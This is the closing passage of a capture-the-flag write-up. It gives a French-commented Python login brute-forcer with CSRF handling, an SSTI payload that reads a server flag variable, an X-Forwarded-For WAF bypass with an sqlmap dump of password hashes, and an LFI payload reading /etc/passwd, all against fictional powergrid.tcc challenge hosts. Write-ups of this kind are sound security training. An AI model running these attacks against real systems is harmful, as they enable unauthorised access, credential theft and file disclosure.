6  import argparse
7  from urllib.parse import urljoin, urlparse
8  import requests
9
10 def main():
11     p = argparse.ArgumentParser(description="Login sans navigateur à idm-
    new.powergrid.tcc")

```



```

12     p.add_argument("--base", default="http://idm-new.powergrid.tcc", help="URL base
(par défaut: %(default)s)")
13     p.add_argument("-u", "--username", required=True, help="Nom d'utilisateur (ex:
ella.reed@powergrid.tcc)")
14     p.add_argument("-w", "--wordlist", required=True, help="Wordlist")
15     p.add_argument("--debug", action="store_true", help="Afficher les
requêtes/réponses essentielles")
16     args = p.parse_args()
17
18     s = requests.Session()
19     s.headers.update({
20         "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101
Firefox/140.0",
21         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
22         "Accept-Language": "fr,en-US;q=0.7,en;q=0.3",
23         "Upgrade-Insecure-Requests": "1",
24         "Connection": "keep-alive",
25     })
26
27     login_page = urljoin(args.base, "/login")
28     login_post = urljoin(args.base, "/login")
29     with open(args.wordlist, "r", encoding="utf-8") as f:
30         for password in f:
31             password = password.rstrip("\n")
32             print(f"Tentative avec {password}")
33             # 1) GET /login pour récupérer CSRF + cookie de session
34             if args.debug:
35                 print("=== Requête GET ===")
36                 print(f"GET {login_page}")
37                 for k, v in s.headers.items():
38                     print(f"{k}: {v}")
39
40             r1 = s.get(login_page, timeout=15)
41             try:
42                 r1.raise_for_status()
43             except Exception as e:
44                 print(f"[!] Échec GET {login_page}: {e}", file=sys.stderr)
45                 sys.exit(1)
46
47             # Extraire _csrf_token (input HTML)
48             m = re.search(r'name="_csrf_token"\s+value="([^\"]+)"', r1.text)
49             if not m:
50                 print("[!] Impossible de trouver _csrf_token sur la page de login",
file=sys.stderr)
51             with open("login_get.html", "w", encoding="utf-8", errors="ignore") as
f:
52                 f.write(r1.text)
53                 print("Page GET sauvegardée -> login_get.html")
54                 sys.exit(1)
55             csrf = m.group(1)
56
57             # 2) POST des identifiants
58             data = {

```

```

59         "_username": args.username,
60         "_password": password,
61         "_csrf_token": csrf,
62     }
63
64     if args.debug:
65         print("\n=== Requête POST ===")
66         print(f"POST {login_post}")
67         # Entêtes effectives (la session gère les cookies)
68         for k, v in s.headers.items():
69             print(f"{k}: {v}")
70         phpsessid = s.cookies.get("PHPSESSID")
71         if phpsessid:
72             print(f"Cookie: PHPSESSID={phpsessid}")
73         print("\nBody (form-urlencoded):")
74         redacted = dict(data); redacted["_password"] = "****"
75         for k, v in redacted.items():
76             print(f"{k}={v}")
77
78     r2 = s.post(
79         login_post,
80         data=data,
81         headers={
82             "Content-Type": "application/x-www-form-urlencoded",
83             "Origin": args.base,
84             "Referer": login_page,
85         },
86         timeout=15,
87         allow_redirects=True
88     )
89
90
91     if s.cookies:
92         #print("Cookies en session:")
93         for c in s.cookies:
94             val = c.value
95             #print(f" {c.name}={val[:60]}{'...' if len(val)>60 else ''}")
96
97     path_final = (urlparse(r2.url).path or "").lower()
98     invalid_markers = ["invalid credentials", "bad credentials", "wrong
password", "authentication failed"]
99     page_lower = r2.text.lower()
100     has_invalid = any(mk in page_lower for mk in invalid_markers)
101
102     redirected = len(r2.history) > 0
103     success_heuristic = redirected and "/login" not in path_final
104
105     if has_invalid or path_final.endswith("/login"):
106         print("\n[X] Échec d'authentification (message d'erreur détecté ou
retour sur /login).")
107         exit_code = 2
108     elif success_heuristic:

```

```

109         print("\n[✓] Connexion probablement RÉUSSIE (redirection hors
/login).")
110         print(f"Connexion réussie avec le mdp : {password}")
111         exit_code = 0
112         sys.exit(exit_code)
113     else:
114         print("\n[?] Impossible de conclure automatiquement. Inspecte la
réponse HTML.")
115         exit_code = 1
116
117         # Sauvegarde la page finale pour inspection
118         try:
119             with open("login_final.html", "w", encoding="utf-8", errors="ignore")
as f:
120                 f.write(r2.text)
121                 print("Réponse finale sauvegardée -> login_final.html")
122             except Exception as e:
123                 print(f"[!] Impossible d'écrire login_final.html: {e}",
file=sys.stderr)
124
125         sys.exit(exit_code)
126
127 if __name__ == "__main__":
128     main()
129

```

I discover the password and log in successfully.

Once logged as admin, I could search for other users via this tool :

```
http://idm-new.powergrid.tcc/admin/users?q=ella
```

I tried to get some sql but no luck.

After a while I finally found this trick : [http://idm-new.powergrid.tcc/admin/users?q={{7\\*7}}](http://idm-new.powergrid.tcc/admin/users?q={{7*7}})

The response was : No users found for query: 49

Alright there is an SSTI 😊

Finally I used this query : <http://idm-new.powergrid.tcc/admin/users?q=%7B%7B20app.request.server.get%28%27FLAG%27%29%20%7D%7D>

Some base64 encoded string appeared and after decoding I got the flag 😊

\o/

## Webhosting

Hi, emergency troubleshooter,

we are preparing to put a new web hosting service into operation. Verify that it is secure and that no secret or classified information can be accessed. The testing instance is running on `wwwhost-new.powergrid.tcc`.

Stay grounded!

`wwwhost-new.powergrid.tcc` leads to nothing special... so enumeration ! 😊

```
1 gobuster dir -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -a "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" -u http://wwwhost-new.powergrid.tcc:8000/
2 =====
3 Gobuster v3.8
4 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
5 =====
6 [+] Url: http://wwwhost-new.powergrid.tcc:8000/
7 [+] Method: GET
8 [+] Threads: 10
9 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
10 [+] Negative Status codes: 404
11 [+] User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
12 [+] Follow Redirect: true
13 [+] Timeout: 10s
14 =====
15 Starting gobuster in directory enumeration mode
16 =====
17 /app (Status: 200) [Size: 1490]
18 /server-status (Status: 403) [Size: 292]
19 Progress: 220557 / 220557 (100.00%)
20 =====
21 Finished
22 =====
```

Some quick tests shown that an SQLi should be possible but a WAF or something like that is protecting the service and respond an HTTP 403.

My tests shown that 2 users exists `admin` and `test`

Brute-force on user `test` reveal its password : `testtest`

After logging I learned that ip 203.0.113.10 was whitelisted.

So I set an header `X-Forwarded-For: 203.0.113.10` and I managed to bypass the WAF.

Using sqlmap with this specific header I managed to dump the databases.

The database `myapp` contains a table `users` :

```
1 id,username,password_hash
2 1,admin,d2982588f016f8dfd57a3fc4ac071cc013a8666a
3 2,test,51abb9636078defbf888d8457a7c76f85c8f114c
```

I used crackstation to discover admin's password.

Once logged as admin I had access to `http://wwwhost-new.powergrid.tcc:8000/app/admin_tools.php`

This page permits to show X lines of a logs file.

The lines parameter is sent through a POST method.

But we can exploit an LFI by crafting this parameter :

```
1 | 10000 /etc/passwd
```

After searching a while I finally discover that the environment should be dockerized. So I tried to display content of /entrypoint.sh

It was a good guess, in this file I discovered that there was file : `/secret/flag.txt` and displaying it gave me the flag.

\o/

---

## The end

Webhosting challenge was last one and I just needed to validate the `Epilogue` to complete this CTF.

All those challs were very cool. As every year, I learned new TTPs and that's a real pleasure.

Thanks for this CTF !!